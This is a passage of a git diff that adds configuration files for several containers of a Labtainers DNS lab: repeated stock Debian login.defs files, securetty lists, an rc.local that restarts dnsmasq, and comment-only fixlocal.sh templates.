OBSOLETED ####################### +# # +# These options are no more handled by shadow. # +# # +# Shadow utilities will display a warning if they # +# still appear. # +# # +################################################### + +# CLOSE_SESSIONS +# LOGIN_STRING +# NO_PASSWORD_CONSOLE +# QMAIL_DIR + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/isp/_system/etc/rc.local b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/isp/_system/etc/rc.local new file mode 100755 index 000000000..c308ec0b8 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/isp/_system/etc/rc.local @@ -0,0 +1,2 @@ +#!/bin/bash +/etc/init.d/dnsmasq restart diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/isp/_system/etc/securetty b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/isp/_system/etc/securetty new file mode 100644 index 000000000..3c78279a3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/isp/_system/etc/securetty @@ -0,0 +1,7 @@ +pts/1 +pts/2 +pts/3 +pts/4 +pts/5 +pts/6 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/net-monitor/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/net-monitor/_bin/fixlocal.sh new file mode 100755 index 000000000..a9532b0e6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/net-monitor/_bin/fixlocal.sh @@ -0,0 +1,18 @@ +#!/bin/bash +# +# This script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument, +# (the user ID is the second parameter) +# If this script is to use sudo and the sudoers for the lab +# does not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +# If you issue commands herein to start services, and those services +# have unit files prescribing their being started after the +# waitparam.service, then first create the flag directory that +# waitparam sleeps on: +# +# PERMLOCKDIR=/var/labtainer/did_param +# echo $1 | sudo -S mkdir -p "$PERMLOCKDIR" + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/net-monitor/_system/etc/login.defs b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/net-monitor/_system/etc/login.defs new file mode 100644 index 000000000..09f4d6373 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/net-monitor/_system/etc/login.defs @@ -0,0 +1,341 @@ +# +# /etc/login.defs - Configuration control definitions for the login package. +# +# Three items must be defined: MAIL_DIR, ENV_SUPATH, and ENV_PATH. +# If unspecified, some arbitrary (and possibly incorrect) value will +# be assumed. All other items are optional - if not specified then +# the described action or option will be inhibited. +# +# Comment lines (lines beginning with "#") and blank lines are ignored. +# +# Modified for Linux. --marekm + +# REQUIRED for useradd/userdel/usermod +# Directory where mailboxes reside, _or_ name of file, relative to the +# home directory. If you _do_ define MAIL_DIR and MAIL_FILE, +# MAIL_DIR takes precedence. +# +# Essentially: +# - MAIL_DIR defines the location of users mail spool files +# (for mbox use) by appending the username to MAIL_DIR as defined +# below. +# - MAIL_FILE defines the location of the users mail spool files as the +# fully-qualified filename obtained by prepending the user home +# directory before $MAIL_FILE +# +# NOTE: This is no more used for setting up users MAIL environment variable +# which is, starting from shadow 4.0.12-1 in Debian, entirely the +# job of the pam_mail PAM modules +# See default PAM configuration files provided for +# login, su, etc. +# +# This is a temporary situation: setting these variables will soon +# move to /etc/default/useradd and the variables will then be +# no more supported +MAIL_DIR /var/mail +#MAIL_FILE .mail + +# +# Enable logging and display of /var/log/faillog login failure info. +# This option conflicts with the pam_tally PAM module. +# +FAILLOG_ENAB yes + +# +# Enable display of unknown usernames when login failures are recorded. +# +# WARNING: Unknown usernames may become world readable. +# See #290803 and #298773 for details about how this could become a security +# concern +LOG_UNKFAIL_ENAB no + +# +# Enable logging of successful logins +# +LOG_OK_LOGINS no + +# +# Enable "syslog" logging of su activity - in addition to sulog file logging. +# SYSLOG_SG_ENAB does the same for newgrp and sg. +# +SYSLOG_SU_ENAB yes +SYSLOG_SG_ENAB yes + +# +# If defined, all su activity is logged to this file. +# +#SULOG_FILE /var/log/sulog + +# +# If defined, file which maps tty line to TERM environment parameter. +# Each line of the file is in a format something like "vt100 tty01". +# +#TTYTYPE_FILE /etc/ttytype + +# +# If defined, login failures will be logged here in a utmp format +# last, when invoked as lastb, will read /var/log/btmp, so... +# +FTMP_FILE /var/log/btmp + +# +# If defined, the command name to display when running "su -". For +# example, if this is defined as "su" then a "ps" will display the +# command is "-su". If not defined, then "ps" would display the +# name of the shell actually being run, e.g. something like "-sh". +# +SU_NAME su + +# +# If defined, file which inhibits all the usual chatter during the login +# sequence. If a full pathname, then hushed mode will be enabled if the +# user's name or shell are found in the file. If not a full pathname, then +# hushed mode will be enabled if the file exists in the user's home directory. +# +HUSHLOGIN_FILE .hushlogin +#HUSHLOGIN_FILE /etc/hushlogins + +# +# *REQUIRED* The default PATH settings, for superuser and normal users. +# +# (they are minimal, add the rest in the shell startup files) +ENV_SUPATH PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +ENV_PATH PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games + +# +# Terminal permissions +# +# TTYGROUP Login tty will be assigned this group ownership. +# TTYPERM Login tty will be set to this permission. +# +# If you have a "write" program which is "setgid" to a special group +# which owns the terminals, define TTYGROUP to the group number and +# TTYPERM to 0620. Otherwise leave TTYGROUP commented out and assign +# TTYPERM to either 622 or 600. +# +# In Debian /usr/bin/bsd-write or similar programs are setgid tty +# However, the default and recommended value for TTYPERM is still 0600 +# to not allow anyone to write to anyone else console or terminal + +# Users can still allow other people to write them by issuing +# the "mesg y" command. + +TTYGROUP tty +TTYPERM 0600 + +# +# Login configuration initializations: +# +# ERASECHAR Terminal ERASE character ('\010' = backspace). +# KILLCHAR Terminal KILL character ('\025' = CTRL/U). +# UMASK Default "umask" value. +# +# The ERASECHAR and KILLCHAR are used only on System V machines. +# +# UMASK is the default umask value for pam_umask and is used by +# useradd and newusers to set the mode of the new home directories. +# 022 is the "historical" value in Debian for UMASK +# 027, or even 077, could be considered better for privacy +# There is no One True Answer here : each sysadmin must make up his/her +# mind. +# +# If USERGROUPS_ENAB is set to "yes", that will modify this UMASK default value +# for private user groups, i. e. the uid is the same as gid, and username is +# the same as the primary group name: for these, the user permissions will be +# used as group permissions, e. g. 022 will become 002. +# +# Prefix these values with "0" to get octal, "0x" to get hexadecimal. +# +ERASECHAR 0177 +KILLCHAR 025 +UMASK 022 + +# +# Password aging controls: +# +# PASS_MAX_DAYS Maximum number of days a password may be used. +# PASS_MIN_DAYS Minimum number of days allowed between password changes. +# PASS_WARN_AGE Number of days warning given before a password expires. +# +PASS_MAX_DAYS 99999 +PASS_MIN_DAYS 0 +PASS_WARN_AGE 7 + +# +# Min/max values for automatic uid selection in useradd +# +UID_MIN 1000 +UID_MAX 60000 +# System accounts +#SYS_UID_MIN 100 +#SYS_UID_MAX 999 + +# +# Min/max values for automatic gid selection in groupadd +# +GID_MIN 1000 +GID_MAX 60000 +# System accounts +#SYS_GID_MIN 100 +#SYS_GID_MAX 999 + +# +# Max number of login retries if password is bad. This will most likely be +# overriden by PAM, since the default pam_unix module has it's own built +# in of 3 retries. However, this is a safe fallback in case you are using +# an authentication module that does not enforce PAM_MAXTRIES. +# +LOGIN_RETRIES 5 + +# +# Max time in seconds for login +# +LOGIN_TIMEOUT 60 + +# +# Which fields may be changed by regular users using chfn - use +# any combination of letters "frwh" (full name, room number, work +# phone, home phone). If not defined, no changes are allowed. +# For backward compatibility, "yes" = "rwh" and "no" = "frwh". +# +CHFN_RESTRICT rwh + +# +# Should login be allowed if we can't cd to the home directory? +# Default in no. +# +DEFAULT_HOME yes + +# +# If defined, this command is run when removing a user. +# It should remove any at/cron/print jobs etc. owned by +# the user to be removed (passed as the first argument). +# +#USERDEL_CMD /usr/sbin/userdel_local + +# +# Enable setting of the umask group bits to be the same as owner bits +# (examples: 022 -> 002, 077 -> 007) for non-root users, if the uid is +# the same as gid, and username is the same as the primary group name. +# +# If set to yes, userdel will remove the user´s group if it contains no +# more members, and useradd will create by default a group with the name +# of the user. +# +USERGROUPS_ENAB yes + +# +# Instead of the real user shell, the program specified by this parameter +# will be launched, although its visible name (argv[0]) will be the shell's. +# The program may do whatever it wants (logging, additional authentification, +# banner, ...) before running the actual shell. +# +# FAKE_SHELL /bin/fakeshell + +# +# If defined, either full pathname of a file containing device names or +# a ":" delimited list of device names. Root logins will be allowed only +# upon these devices. +# +# This variable is used by login and su. +# +#CONSOLE /etc/consoles +#CONSOLE console:tty01:tty02:tty03:tty04 + +# +# List of groups to add to the user's supplementary group set +# when logging in on the console (as determined by the CONSOLE +# setting). Default is none. +# +# Use with caution - it is possible for users to gain permanent +# access to these groups, even when not logged in on the console. +# How to do it is left as an exercise for the reader... +# +# This variable is used by login and su. +# +#CONSOLE_GROUPS floppy:audio:cdrom + +# +# If set to "yes", new passwords will be encrypted using the MD5-based +# algorithm compatible with the one used by recent releases of FreeBSD. +# It supports passwords of unlimited length and longer salt strings. +# Set to "no" if you need to copy encrypted passwords to other systems +# which don't understand the new algorithm. Default is "no". +# +# This variable is deprecated. You should use ENCRYPT_METHOD. +# +#MD5_CRYPT_ENAB no + +# +# If set to MD5 , MD5-based algorithm will be used for encrypting password +# If set to SHA256, SHA256-based algorithm will be used for encrypting password +# If set to SHA512, SHA512-based algorithm will be used for encrypting password +# If set to DES, DES-based algorithm will be used for encrypting password (default) +# Overrides the MD5_CRYPT_ENAB option +# +# Note: It is recommended to use a value consistent with +# the PAM modules configuration. +# +ENCRYPT_METHOD SHA512 + +# +# Only used if ENCRYPT_METHOD is set to SHA256 or SHA512. +# +# Define the number of SHA rounds. +# With a lot of rounds, it is more difficult to brute forcing the password. +# But note also that it more CPU resources will be needed to authenticate +# users. +# +# If not specified, the libc will choose the default number of rounds (5000). +# The values must be inside the 1000-999999999 range. +# If only one of the MIN or MAX values is set, then this value will be used. +# If MIN > MAX, the highest value will be used. +# +# SHA_CRYPT_MIN_ROUNDS 5000 +# SHA_CRYPT_MAX_ROUNDS 5000 + +################# OBSOLETED BY PAM ############## +# # +# These options are now handled by PAM. Please # +# edit the appropriate file in /etc/pam.d/ to # +# enable the equivelants of them. +# +############### + +#MOTD_FILE +#DIALUPS_CHECK_ENAB +#LASTLOG_ENAB +#MAIL_CHECK_ENAB +#OBSCURE_CHECKS_ENAB +#PORTTIME_CHECKS_ENAB +#SU_WHEEL_ONLY +#CRACKLIB_DICTPATH +#PASS_CHANGE_TRIES +#PASS_ALWAYS_WARN +#ENVIRON_FILE +#NOLOGINS_FILE +#ISSUE_FILE +#PASS_MIN_LEN +#PASS_MAX_LEN +#ULIMIT +#ENV_HZ +#CHFN_AUTH +#CHSH_AUTH +#FAIL_DELAY + +################# OBSOLETED ####################### +# # +# These options are no more handled by shadow. # +# # +# Shadow utilities will display a warning if they # +# still appear. # +# # +################################################### + +# CLOSE_SESSIONS +# LOGIN_STRING +# NO_PASSWORD_CONSOLE +# QMAIL_DIR + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/net-monitor/_system/etc/securetty b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/net-monitor/_system/etc/securetty new file mode 100644 index 000000000..3c78279a3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/net-monitor/_system/etc/securetty @@ -0,0 +1,7 @@ +pts/1 +pts/2 +pts/3 +pts/4 +pts/5 +pts/6 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/tap/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/tap/_bin/fixlocal.sh new file mode 100755 index 000000000..a9532b0e6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/tap/_bin/fixlocal.sh @@ -0,0 +1,18 @@ +#!/bin/bash +# +# This script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument, +# (the user ID is the second parameter) +# If this script is to use sudo and the sudoers for the lab +# does not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +# If you issue commands herein to start services, and those services +# have unit files prescribing their being started after the +# waitparam.service, then first create the flag directory that +# waitparam sleeps on: +# +# PERMLOCKDIR=/var/labtainer/did_param +# echo $1 | sudo -S mkdir -p "$PERMLOCKDIR" + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/tap/_system/etc/login.defs b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/tap/_system/etc/login.defs new file mode 100644 index 000000000..09f4d6373 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/tap/_system/etc/login.defs @@ -0,0 +1,341 @@ +# +# /etc/login.defs - Configuration control definitions for the login package. +# +# Three items must be defined: MAIL_DIR, ENV_SUPATH, and ENV_PATH. +# If unspecified, some arbitrary (and possibly incorrect) value will +# be assumed. All other items are optional - if not specified then +# the described action or option will be inhibited. +# +# Comment lines (lines beginning with "#") and blank lines are ignored. +# +# Modified for Linux. --marekm + +# REQUIRED for useradd/userdel/usermod +# Directory where mailboxes reside, _or_ name of file, relative to the +# home directory. If you _do_ define MAIL_DIR and MAIL_FILE, +# MAIL_DIR takes precedence. +# +# Essentially: +# - MAIL_DIR defines the location of users mail spool files +# (for mbox use) by appending the username to MAIL_DIR as defined +# below. +# - MAIL_FILE defines the location of the users mail spool files as the +# fully-qualified filename obtained by prepending the user home +# directory before $MAIL_FILE +# +# NOTE: This is no more used for setting up users MAIL environment variable +# which is, starting from shadow 4.0.12-1 in Debian, entirely the +# job of the pam_mail PAM modules +# See default PAM configuration files provided for +# login, su, etc. +# +# This is a temporary situation: setting these variables will soon +# move to /etc/default/useradd and the variables will then be +# no more supported +MAIL_DIR /var/mail +#MAIL_FILE .mail + +# +# Enable logging and display of /var/log/faillog login failure info. +# This option conflicts with the pam_tally PAM module. +# +FAILLOG_ENAB yes + +# +# Enable display of unknown usernames when login failures are recorded. +# +# WARNING: Unknown usernames may become world readable. +# See #290803 and #298773 for details about how this could become a security +# concern +LOG_UNKFAIL_ENAB no + +# +# Enable logging of successful logins +# +LOG_OK_LOGINS no + +# +# Enable "syslog" logging of su activity - in addition to sulog file logging. +# SYSLOG_SG_ENAB does the same for newgrp and sg. +# +SYSLOG_SU_ENAB yes +SYSLOG_SG_ENAB yes + +# +# If defined, all su activity is logged to this file. +# +#SULOG_FILE /var/log/sulog + +# +# If defined, file which maps tty line to TERM environment parameter. +# Each line of the file is in a format something like "vt100 tty01". +# +#TTYTYPE_FILE /etc/ttytype + +# +# If defined, login failures will be logged here in a utmp format +# last, when invoked as lastb, will read /var/log/btmp, so... +# +FTMP_FILE /var/log/btmp + +# +# If defined, the command name to display when running "su -". For +# example, if this is defined as "su" then a "ps" will display the +# command is "-su". If not defined, then "ps" would display the +# name of the shell actually being run, e.g. something like "-sh". +# +SU_NAME su + +# +# If defined, file which inhibits all the usual chatter during the login +# sequence. If a full pathname, then hushed mode will be enabled if the +# user's name or shell are found in the file. If not a full pathname, then +# hushed mode will be enabled if the file exists in the user's home directory. +# +HUSHLOGIN_FILE .hushlogin +#HUSHLOGIN_FILE /etc/hushlogins + +# +# *REQUIRED* The default PATH settings, for superuser and normal users. +# +# (they are minimal, add the rest in the shell startup files) +ENV_SUPATH PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +ENV_PATH PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games + +# +# Terminal permissions +# +# TTYGROUP Login tty will be assigned this group ownership. +# TTYPERM Login tty will be set to this permission. +# +# If you have a "write" program which is "setgid" to a special group +# which owns the terminals, define TTYGROUP to the group number and +# TTYPERM to 0620. Otherwise leave TTYGROUP commented out and assign +# TTYPERM to either 622 or 600. +# +# In Debian /usr/bin/bsd-write or similar programs are setgid tty +# However, the default and recommended value for TTYPERM is still 0600 +# to not allow anyone to write to anyone else console or terminal + +# Users can still allow other people to write them by issuing +# the "mesg y" command. + +TTYGROUP tty +TTYPERM 0600 + +# +# Login configuration initializations: +# +# ERASECHAR Terminal ERASE character ('\010' = backspace). +# KILLCHAR Terminal KILL character ('\025' = CTRL/U). +# UMASK Default "umask" value. +# +# The ERASECHAR and KILLCHAR are used only on System V machines. +# +# UMASK is the default umask value for pam_umask and is used by +# useradd and newusers to set the mode of the new home directories. +# 022 is the "historical" value in Debian for UMASK +# 027, or even 077, could be considered better for privacy +# There is no One True Answer here : each sysadmin must make up his/her +# mind. +# +# If USERGROUPS_ENAB is set to "yes", that will modify this UMASK default value +# for private user groups, i. e. the uid is the same as gid, and username is +# the same as the primary group name: for these, the user permissions will be +# used as group permissions, e. g. 022 will become 002. +# +# Prefix these values with "0" to get octal, "0x" to get hexadecimal. +# +ERASECHAR 0177 +KILLCHAR 025 +UMASK 022 + +# +# Password aging controls: +# +# PASS_MAX_DAYS Maximum number of days a password may be used. +# PASS_MIN_DAYS Minimum number of days allowed between password changes. +# PASS_WARN_AGE Number of days warning given before a password expires. +# +PASS_MAX_DAYS 99999 +PASS_MIN_DAYS 0 +PASS_WARN_AGE 7 + +# +# Min/max values for automatic uid selection in useradd +# +UID_MIN 1000 +UID_MAX 60000 +# System accounts +#SYS_UID_MIN 100 +#SYS_UID_MAX 999 + +# +# Min/max values for automatic gid selection in groupadd +# +GID_MIN 1000 +GID_MAX 60000 +# System accounts +#SYS_GID_MIN 100 +#SYS_GID_MAX 999 + +# +# Max number of login retries if password is bad. This will most likely be +# overriden by PAM, since the default pam_unix module has it's own built +# in of 3 retries. However, this is a safe fallback in case you are using +# an authentication module that does not enforce PAM_MAXTRIES. +# +LOGIN_RETRIES 5 + +# +# Max time in seconds for login +# +LOGIN_TIMEOUT 60 + +# +# Which fields may be changed by regular users using chfn - use +# any combination of letters "frwh" (full name, room number, work +# phone, home phone). If not defined, no changes are allowed. +# For backward compatibility, "yes" = "rwh" and "no" = "frwh". +# +CHFN_RESTRICT rwh + +# +# Should login be allowed if we can't cd to the home directory? +# Default in no. +# +DEFAULT_HOME yes + +# +# If defined, this command is run when removing a user. +# It should remove any at/cron/print jobs etc. owned by +# the user to be removed (passed as the first argument). +# +#USERDEL_CMD /usr/sbin/userdel_local + +# +# Enable setting of the umask group bits to be the same as owner bits +# (examples: 022 -> 002, 077 -> 007) for non-root users, if the uid is +# the same as gid, and username is the same as the primary group name. +# +# If set to yes, userdel will remove the user´s group if it contains no +# more members, and useradd will create by default a group with the name +# of the user. +# +USERGROUPS_ENAB yes + +# +# Instead of the real user shell, the program specified by this parameter +# will be launched, although its visible name (argv[0]) will be the shell's. +# The program may do whatever it wants (logging, additional authentification, +# banner, ...) before running the actual shell. +# +# FAKE_SHELL /bin/fakeshell + +# +# If defined, either full pathname of a file containing device names or +# a ":" delimited list of device names. Root logins will be allowed only +# upon these devices. +# +# This variable is used by login and su. +# +#CONSOLE /etc/consoles +#CONSOLE console:tty01:tty02:tty03:tty04 + +# +# List of groups to add to the user's supplementary group set +# when logging in on the console (as determined by the CONSOLE +# setting). Default is none. +# +# Use with caution - it is possible for users to gain permanent +# access to these groups, even when not logged in on the console. +# How to do it is left as an exercise for the reader... +# +# This variable is used by login and su. +# +#CONSOLE_GROUPS floppy:audio:cdrom + +# +# If set to "yes", new passwords will be encrypted using the MD5-based +# algorithm compatible with the one used by recent releases of FreeBSD. +# It supports passwords of unlimited length and longer salt strings. +# Set to "no" if you need to copy encrypted passwords to other systems +# which don't understand the new algorithm. Default is "no". +# +# This variable is deprecated. You should use ENCRYPT_METHOD. +# +#MD5_CRYPT_ENAB no + +# +# If set to MD5 , MD5-based algorithm will be used for encrypting password +# If set to SHA256, SHA256-based algorithm will be used for encrypting password +# If set to SHA512, SHA512-based algorithm will be used for encrypting password +# If set to DES, DES-based algorithm will be used for encrypting password (default) +# Overrides the MD5_CRYPT_ENAB option +# +# Note: It is recommended to use a value consistent with +# the PAM modules configuration. +# +ENCRYPT_METHOD SHA512 + +# +# Only used if ENCRYPT_METHOD is set to SHA256 or SHA512. +# +# Define the number of SHA rounds. +# With a lot of rounds, it is more difficult to brute forcing the password. +# But note also that it more CPU resources will be needed to authenticate +# users. +# +# If not specified, the libc will choose the default number of rounds (5000). +# The values must be inside the 1000-999999999 range. +# If only one of the MIN or MAX values is set, then this value will be used. +# If MIN > MAX, the highest value will be used. +# +# SHA_CRYPT_MIN_ROUNDS 5000 +# SHA_CRYPT_MAX_ROUNDS 5000 + +################# OBSOLETED BY PAM ############## +# # +# These options are now handled by PAM. Please # +# edit the appropriate file in /etc/pam.d/ to # +# enable the equivelants of them. +# +############### + +#MOTD_FILE +#DIALUPS_CHECK_ENAB +#LASTLOG_ENAB +#MAIL_CHECK_ENAB +#OBSCURE_CHECKS_ENAB +#PORTTIME_CHECKS_ENAB +#SU_WHEEL_ONLY +#CRACKLIB_DICTPATH +#PASS_CHANGE_TRIES +#PASS_ALWAYS_WARN +#ENVIRON_FILE +#NOLOGINS_FILE +#ISSUE_FILE +#PASS_MIN_LEN +#PASS_MAX_LEN +#ULIMIT +#ENV_HZ +#CHFN_AUTH +#CHSH_AUTH +#FAIL_DELAY + +################# OBSOLETED ####################### +# # +# These options are no more handled by shadow. # +# # +# Shadow utilities will display a warning if they # +# still appear. # +# # +################################################### + +# CLOSE_SESSIONS +# LOGIN_STRING +# NO_PASSWORD_CONSOLE +# QMAIL_DIR + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/tap/_system/etc/securetty b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/tap/_system/etc/securetty new file mode 100644 index 000000000..3c78279a3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/tap/_system/etc/securetty @@ -0,0 +1,7 @@ +pts/1 +pts/2 +pts/3 +pts/4 +pts/5 +pts/6 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/ws1/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/ws1/_bin/fixlocal.sh new file mode 100755 index 000000000..a9532b0e6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/ws1/_bin/fixlocal.sh @@ -0,0 +1,18 @@ +#!/bin/bash +# +# This script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument, +# (the user ID is the second parameter) +# If this script is to use sudo and the sudoers for the lab +# does not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +# If you issue commands herein to start services, and those services +# have unit files prescribing their being started after the +# waitparam.service, then first create the flag directory that +# waitparam sleeps on: +# +# PERMLOCKDIR=/var/labtainer/did_param +# echo $1 | sudo -S mkdir -p "$PERMLOCKDIR" + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/ws1/_bin/treataslocal b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/ws1/_bin/treataslocal new file mode 100644 index 000000000..f68190acd --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/ws1/_bin/treataslocal @@ -0,0 +1 @@ +ping diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/ws1/_system/etc/login.defs b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/ws1/_system/etc/login.defs new file mode 100644 index 000000000..09f4d6373 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/ws1/_system/etc/login.defs @@ -0,0 +1,341 @@ +# +# /etc/login.defs - Configuration control definitions for the login package. +# +# Three items must be defined: MAIL_DIR, ENV_SUPATH, and ENV_PATH. +# If unspecified, some arbitrary (and possibly incorrect) value will +# be assumed. All other items are optional - if not specified then +# the described action or option will be inhibited. +# +# Comment lines (lines beginning with "#") and blank lines are ignored. +# +# Modified for Linux. --marekm + +# REQUIRED for useradd/userdel/usermod +# Directory where mailboxes reside, _or_ name of file, relative to the +# home directory. If you _do_ define MAIL_DIR and MAIL_FILE, +# MAIL_DIR takes precedence. +# +# Essentially: +# - MAIL_DIR defines the location of users mail spool files +# (for mbox use) by appending the username to MAIL_DIR as defined +# below. +# - MAIL_FILE defines the location of the users mail spool files as the +# fully-qualified filename obtained by prepending the user home +# directory before $MAIL_FILE +# +# NOTE: This is no more used for setting up users MAIL environment variable +# which is, starting from shadow 4.0.12-1 in Debian, entirely the +# job of the pam_mail PAM modules +# See default PAM configuration files provided for +# login, su, etc. +# +# This is a temporary situation: setting these variables will soon +# move to /etc/default/useradd and the variables will then be +# no more supported +MAIL_DIR /var/mail +#MAIL_FILE .mail + +# +# Enable logging and display of /var/log/faillog login failure info. +# This option conflicts with the pam_tally PAM module. +# +FAILLOG_ENAB yes + +# +# Enable display of unknown usernames when login failures are recorded. +# +# WARNING: Unknown usernames may become world readable. +# See #290803 and #298773 for details about how this could become a security +# concern +LOG_UNKFAIL_ENAB no + +# +# Enable logging of successful logins +# +LOG_OK_LOGINS no + +# +# Enable "syslog" logging of su activity - in addition to sulog file logging. +# SYSLOG_SG_ENAB does the same for newgrp and sg. +# +SYSLOG_SU_ENAB yes +SYSLOG_SG_ENAB yes + +# +# If defined, all su activity is logged to this file. +# +#SULOG_FILE /var/log/sulog + +# +# If defined, file which maps tty line to TERM environment parameter. +# Each line of the file is in a format something like "vt100 tty01". +# +#TTYTYPE_FILE /etc/ttytype + +# +# If defined, login failures will be logged here in a utmp format +# last, when invoked as lastb, will read /var/log/btmp, so... +# +FTMP_FILE /var/log/btmp + +# +# If defined, the command name to display when running "su -". For +# example, if this is defined as "su" then a "ps" will display the +# command is "-su". If not defined, then "ps" would display the +# name of the shell actually being run, e.g. something like "-sh". +# +SU_NAME su + +# +# If defined, file which inhibits all the usual chatter during the login +# sequence. If a full pathname, then hushed mode will be enabled if the +# user's name or shell are found in the file. If not a full pathname, then +# hushed mode will be enabled if the file exists in the user's home directory. +# +HUSHLOGIN_FILE .hushlogin +#HUSHLOGIN_FILE /etc/hushlogins + +# +# *REQUIRED* The default PATH settings, for superuser and normal users. +# +# (they are minimal, add the rest in the shell startup files) +ENV_SUPATH PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +ENV_PATH PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games + +# +# Terminal permissions +# +# TTYGROUP Login tty will be assigned this group ownership. +# TTYPERM Login tty will be set to this permission. +# +# If you have a "write" program which is "setgid" to a special group +# which owns the terminals, define TTYGROUP to the group number and +# TTYPERM to 0620. Otherwise leave TTYGROUP commented out and assign +# TTYPERM to either 622 or 600. +# +# In Debian /usr/bin/bsd-write or similar programs are setgid tty +# However, the default and recommended value for TTYPERM is still 0600 +# to not allow anyone to write to anyone else console or terminal + +# Users can still allow other people to write them by issuing +# the "mesg y" command. + +TTYGROUP tty +TTYPERM 0600 + +# +# Login configuration initializations: +# +# ERASECHAR Terminal ERASE character ('\010' = backspace). +# KILLCHAR Terminal KILL character ('\025' = CTRL/U). +# UMASK Default "umask" value. +# +# The ERASECHAR and KILLCHAR are used only on System V machines. +# +# UMASK is the default umask value for pam_umask and is used by +# useradd and newusers to set the mode of the new home directories. +# 022 is the "historical" value in Debian for UMASK +# 027, or even 077, could be considered better for privacy +# There is no One True Answer here : each sysadmin must make up his/her +# mind. +# +# If USERGROUPS_ENAB is set to "yes", that will modify this UMASK default value +# for private user groups, i. e. the uid is the same as gid, and username is +# the same as the primary group name: for these, the user permissions will be +# used as group permissions, e. g. 022 will become 002. +# +# Prefix these values with "0" to get octal, "0x" to get hexadecimal. +# +ERASECHAR 0177 +KILLCHAR 025 +UMASK 022 + +# +# Password aging controls: +# +# PASS_MAX_DAYS Maximum number of days a password may be used. +# PASS_MIN_DAYS Minimum number of days allowed between password changes. +# PASS_WARN_AGE Number of days warning given before a password expires. +# +PASS_MAX_DAYS 99999 +PASS_MIN_DAYS 0 +PASS_WARN_AGE 7 + +# +# Min/max values for automatic uid selection in useradd +# +UID_MIN 1000 +UID_MAX 60000 +# System accounts +#SYS_UID_MIN 100 +#SYS_UID_MAX 999 + +# +# Min/max values for automatic gid selection in groupadd +# +GID_MIN 1000 +GID_MAX 60000 +# System accounts +#SYS_GID_MIN 100 +#SYS_GID_MAX 999 + +# +# Max number of login retries if password is bad. This will most likely be +# overriden by PAM, since the default pam_unix module has it's own built +# in of 3 retries. However, this is a safe fallback in case you are using +# an authentication module that does not enforce PAM_MAXTRIES. +# +LOGIN_RETRIES 5 + +# +# Max time in seconds for login +# +LOGIN_TIMEOUT 60 + +# +# Which fields may be changed by regular users using chfn - use +# any combination of letters "frwh" (full name, room number, work +# phone, home phone). If not defined, no changes are allowed. +# For backward compatibility, "yes" = "rwh" and "no" = "frwh". +# +CHFN_RESTRICT rwh + +# +# Should login be allowed if we can't cd to the home directory? +# Default in no. +# +DEFAULT_HOME yes + +# +# If defined, this command is run when removing a user. +# It should remove any at/cron/print jobs etc. owned by +# the user to be removed (passed as the first argument). +# +#USERDEL_CMD /usr/sbin/userdel_local + +# +# Enable setting of the umask group bits to be the same as owner bits +# (examples: 022 -> 002, 077 -> 007) for non-root users, if the uid is +# the same as gid, and username is the same as the primary group name. +# +# If set to yes, userdel will remove the user´s group if it contains no +# more members, and useradd will create by default a group with the name +# of the user. +# +USERGROUPS_ENAB yes + +# +# Instead of the real user shell, the program specified by this parameter +# will be launched, although its visible name (argv[0]) will be the shell's. +# The program may do whatever it wants (logging, additional authentification, +# banner, ...) before running the actual shell. +# +# FAKE_SHELL /bin/fakeshell + +# +# If defined, either full pathname of a file containing device names or +# a ":" delimited list of device names. Root logins will be 